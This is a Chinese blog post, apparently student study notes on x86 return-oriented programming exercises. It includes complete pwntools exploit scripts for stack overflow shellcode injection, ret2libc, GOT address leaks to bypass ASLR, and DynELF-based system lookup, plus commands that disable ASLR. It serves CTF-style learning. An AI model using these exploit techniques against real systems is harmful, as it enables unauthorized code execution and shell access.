蒸米ROP_X86学习总结

本文介绍了如何利用Return-oriented Programming (ROP)技术绕过Linux系统的ASLR保护,进行栈溢出攻击。从level1的基础栈溢出到level2的ret2libc攻击,详细阐述了关闭ASLR、寻找shellcode地址、构造payload以及在有ASLR情况下通过内存泄露获取libc地址的过程。同时,文章提到了在不同场景下如何调整策略,包括使用DynELF模块和通过read函数泄露地址。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

蒸米的相关附件感兴趣自行下载

学了点蒸米的ROP笔记,自己来写个总结

ROP是啥

全称为Return-oriented programming,核心是利用ret指令控制执行顺序,作为一种高级的攻击内存的技术,可以绕过各种简单防御

关于X86

level1(栈上写入shellcode)

Linux系统的ASLR会使内存里的地址随机化,可以先关掉

sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

Snipaste_2021-10-08_16-35-12

ida打开会发现有个read函数可以进行栈溢出,自己手算一下距离

136 + 4 = 140

也就是说把shellcode写入之后还要补成140,然后再写入ret_address(也就是shellcode所在的内存地址)

exp如下

#! /usr/bin/env python3

from pwn import *
context(os="linux", arch="i386")
p = process("./level1")

ret_address = ???

shellcode = asm(shellcraft.sh())
payload = shellcode + b'a'*(0x88+0x4-len(shellcode)) + p32(ret_address)
p.send(payload)
p.interactive()

但是ret_address要如何得到呢,可以用gdb调试得到,但gdb调试会使buf地址发生变化,解决办法就是把code dump开起来,就是会出现段错误(核心已转储)的东西

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

可以用ulimit -c查一下是不是开起来了,如果结果是0就是失败了,结果返回unlimited,就是成功了

然后运行文件

1

得到core文件

再用gdb调试就可以得到shellcode的地址了

请添加图片描述

请添加图片描述

4

x/10s $esp-144是前面的140+4(ret)得到的

如果第一次失败了,应该是ret的地址错了

可以在找一次core文件,用数字大的,就是新的core文件

55

请添加图片描述

请添加图片描述

就能getshell了

level2(ret2libc绕过NX) 无ASLR

请添加图片描述

check一下,发现开了NX(栈不可执行),NX enabled开启的话就意味着栈中数据没有执行权限,这样的话,当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop绕过

此程序会调用动态库libc.so,然后ASLR又关掉了,也就是说我们可以从中获取system函数的地址和/bin/sh的地址,而且地址不会发生变化,这样我们就可以通过gdb动态调试把这两个东西得到

用print得到system的地址,用find找到字符串的地址

Snipaste_2021-10-08_18-17-45

现在main下断点然后r程序跑起来,让libc库加载到内存中

请添加图片描述

然后再用print和find就可以实现了

exp如下

from pwn import *

p = process("./level2")


system_addr = 0xf7e0b830
binsh_addr = 0xf7f58352

payload = b'a'*140 + p32(system_addr) + p32(1) + p32(binsh_addr)

p.send(payload)
p.interactive()
level2(ret2libc绕过NX) 有ASLR
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

把ASLR打开

打开之后虽然gdb查地址时地址是随机化的,但程序本身在内存中的地址并不随机

可以利用write泄露write的真实地址,然后减去libc中的距离,就可以得到libc的offset,从而利用基址加偏移的方式就能得到system的地址和/bin/sh的地址

libc动态库中的write函数和system函数距离有多远,链接之后他们的距离就有多远,也就是offset都是一样的

真实地址 = libc中的函数基址 + 相同的offset

但这题没有福大libc.so库,所以可以通过ldd自己查,然后拷贝到桌面

gxh@gxh-Ubuntu:~/桌面$ ldd level2
	linux-gate.so.1 (0xf7ed7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cce000)
	/lib/ld-linux.so.2 (0xf7ed9000)
sudo cp /lib/i386-linux-gnu/libc.so.6 libc.so

exp如下

#! /usr/bin/env python3
from pwn import *

p = process("./level2")

elf=ELF('./level2')
libc=ELF('./libc.so')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
write_libc = libc.symbols['write']
sys_libc = libc.symbols['system']
sh_libc = next(libc.search(b'/bin/sh'))

payload = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)

write_got_addr = u32(p.recv()[:4])

offset = write_got_addr - write_libc
sys_addr = offset + sys_libc
bin_sh_addr = offset + sh_libc

payload0 = b'a'*140 + p32(sys_addr) + p32(1) + p32(bin_sh_addr)
p.sendline(payload0)
p.interactive()

Snipaste_2021-10-08_19-14-27

level2(不获取libc.so)

如果不获取libc.so

就可以用DynELF模块来内存泄露(memory leak)找到system的地址,不过python3用DynELF会报错,要修改文件,后面会说

DynELF模块进行内存搜索,首先需要一个leak函数,这个函数可以获取到某个地址上最少1 byte的数据

def leak(address):
    payload1 = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    return data

d = DynELF(leak, elf=ELF('./level2'))#对DynELF模块初始化
sys_addr = d.lookup(b'system', 'libc')#获取内存中的地址

但通过DynELF模块只能得到system的地址,但无法得到字符串“/bin/sh”的地址,我们可以利用read把字符串写进bss段中,可以在ida中用ctrl+s,或者在linux中用如下命令

readelf -S level2

请添加图片描述

也能得到

用read将字符串写入bss之后,紧接着就要调用system函数,需要堆栈平衡一下,一共三个参数,要pop三次,然后ret sys地址就可以了

这里可以利用ROPgadget来找这个gadget请添加图片描述

exp如下

#! /usr/bin/env python3
from pwn import *

p = process("./level2")

elf=ELF('./level2')
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss_addr = 0x0804A018
pppr = 0x080484bd

def leak(address):
    payload1 = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    return data

d = DynELF(leak, elf=ELF('./level2'))
sys_addr = d.lookup(b'system', 'libc')

payload0 = b'a'*140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload0 += p32(sys_addr) + p32(0) + p32(bss_addr)
p.sendline(payload0)
p.sendline(b'/bin/sh\x00')
p.interactive()

但是python3会报错Snipaste_2021-10-08_20-34-34

看报错提示,我们进去改一下文件

vim /home/gxh/.local/lib/python3.8/site-packages/pwnlib/dynelf.py

把e.symbols[symb]改成e.symbols[symb.decode()]

然后Esc 输入:wq 然后回车就保存退出了

成功后如下

请添加图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值